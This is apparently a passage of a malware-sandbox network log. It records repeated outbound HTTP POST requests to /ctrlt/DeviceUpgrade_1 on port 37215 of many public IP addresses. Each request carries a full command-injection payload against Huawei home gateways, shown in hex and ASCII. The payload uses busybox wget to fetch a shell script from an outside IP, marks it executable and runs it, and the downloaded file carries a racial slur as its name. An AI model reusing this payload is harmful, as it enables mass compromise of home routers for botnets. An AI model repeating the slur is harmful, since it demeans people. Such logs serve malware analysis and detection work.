Feb 19, 2024 18:37:18.853398085 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.460706949 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.675369024 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.23	41408	31.200.121.145	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:14.780837059 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.23	33838	31.136.227.0	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:15.802661896 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:18.853326082 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.996504068 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:37.026827097 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.23	54410	31.136.84.225	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:15.802768946 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
